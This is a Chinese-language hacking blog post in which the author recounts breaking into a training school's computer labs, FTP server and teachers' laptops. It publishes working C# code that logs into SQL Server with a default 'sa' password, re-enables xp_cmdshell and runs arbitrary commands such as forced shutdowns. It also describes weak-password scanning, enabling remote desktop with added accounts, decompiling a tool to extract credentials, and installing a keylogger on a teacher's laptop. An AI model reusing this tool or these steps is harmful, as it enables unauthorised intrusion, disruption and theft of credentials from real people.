作者：Trojan [ESST]   噩靈戰隊[Evil-Soul Security Team]

最近一直沒時間寫文章給大家,主要是因為我在北大青鳥上學,學習軟件開發.時間少的要命.既然是玩黑的就要簡單在青鳥內網滲透下.

簡單介紹下青鳥的機房怎么安排的.一共6個機房,一個公用機房.老師辦公室人手一個筆記本.六個機房的學生機器是類似這樣的IP:192.168.1.x 不可以上網.機房里的教員機器(也就是老師的機器)有兩個IP.一個是192.168.1.x,一個是192.168.0.x,為什么要弄成0.x呢,主要是辦公室的機器IP是192.168.0.x的一人只有一個IP.老師在講課的時候在機房要遠程登陸自己的機器,也就是0.x的.里面有老師的講課的PPT之類的東西.學校有一個FTP服務器是192.168.1.253這個IP.每個學員都有自己的FTP帳戶(密碼空,只有寫入權限).教師有一個帳戶,帳號是teacher密碼我就不知道了.當學員想清理自己的FTP的時候就找老師..大概就是這個情況..

那天上課的時候無聊.想這搞搞同學的機器.每個學員都是administrator權限.sql server的SA密碼統一123.直接利用xpcmdshell加一個shutdown-p就惡搞了他們幾天.S1快畢業的時候有一節復習課.我和D38k70p同學就用C#寫了個工具.為了方便惡搞..

簡單發下C#的關鍵代碼給大家研究:

private void btnGo_Click(object sender, EventArgs e)

        {

            try

            {

               //打開數據庫

                DBHelper.conn.Open();

              //定義sql語句

                string sql = "EXEC sp_configure 'xp_cmdshell',0 RECONFIGURE EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;";

                SqlCommand comm = new SqlCommand(sql, DBHelper.conn);

                try

                {

                    comm.ExecuteNonQuery();

                }

                catch

                {

                    comm.ExecuteNonQuery();

                }

                sql = string.Format("EXEC xp_cmdshell '{0}'", this.txtCmd.Text);

                comm.CommandText = sql;

                try

                {

                    comm.ExecuteNonQuery();

                }

                catch

                {

                    comm.ExecuteNonQuery();

                }

                SqlDataReader dr = comm.ExecuteReader();

                while(dr.Read())

                {

                    txtReturn.Text = txtReturn.Text + "\r\n" + dr[0].ToString();

                }

                dr.Close();

            }

            finally

            {

                DBHelper.conn.Close();

            }

        }

        private void comboBox1_SelectedIndexChanged(object sender, EventArgs e)

        {

             //幾個猥瑣的命令

            switch (this.comboBox1.Text)

            {

                case "瞬間關機":

                    this.txtCmd.Text = "shutdown  -p";

                    break;

                case "30秒關機":

                    this.txtCmd.Text = "shutdown -r";

                    break;

                case "注銷":

                    this.txtCmd.Text = "shutdown -f";

                    break;

            }

        }

        private void btnEixt_Click(object sender, EventArgs e)

        {

            Application.Exit();

        }

        private void button1_Click(object sender, EventArgs e)

        {

            try

            {

                Ping pingSender = new Ping();

                PingReply reply = pingSender.Send(txtIp.Text);

                if (reply.Status == IPStatus.Success)

                {

                    MessageBox.Show("Success");

                }

                else

                {

                    MessageBox.Show("Fail");

                }

            }

            catch(Exception ex)

            {

                MessageBox.Show(ex.Message);

            }

        }

        private void btnLoginTest_Click(object sender, EventArgs e)

        {

            if (sqlConn())

            {

                MessageBox.Show("OK,U can kill him");

            }

            else

            {

                MessageBox.Show("The Password is wrong!");

            }

        }

        public bool sqlConn()

        {

            ip = string.Format("Data Source={0};Database=master;user id ={1} ;pwd ={2}", this.txtIp.Text,txtUser.Text,txtPwd.Text);

            DBHelper.conn = new SqlConnection(ip);

            try

            {

                DBHelper.conn.Open();

                return true;

            }

            catch

            {

                return false;

            }

        }

        private void button2_Click(object sender, EventArgs e)

        {

            this.txtReturn.Text = "";

        }

    }

}

復制代碼工具有了,可以開個3389加個用戶啥的..通殺6個機房的學員機器.

但是機房的教員機器還沒控制呢..不知道IP是多少.突然有一天在2機房老師架設了IIS叫我們用反射給程序實現在線升級的功能.我這一看IP是1.242.老師的IP肯定有規律的一機房的教師機是1.241,二機房的教師機IP是1.242,就是這個了..這樣的話可以利用拿到教員機器的3389在去遠程登陸老師的筆記本..老師的筆記本還是外網的.可以抓個肉雞..

不知道教員機器SA密碼是啥.于是找了個工具開始掃1433弱口令..掃了老半天終于掃到了..可以拿到3389了.過了幾天,D38k70p童鞋不知道從哪個娃的FTP找到了一個清理FTP工具.我一看真好使..在坐車回家的路上和D38k70p童鞋討論那個工具的原理.大概作者不是知道了teacher的密碼就是sql的密碼..回到家D38k70p就用Xenocode Fox 2007反匯編那個清理FTP工具..直接找到SA密碼..第二天成功拿到服務器的權限..D38k70p童鞋說,既然搞了就把老師的筆記本也搞掉..我說好.上機的時候用最快的速度把老師的機器拿到權限.放個鍵盤記錄工具...就這樣拿到了教師的筆記本.校長室的筆記本就算了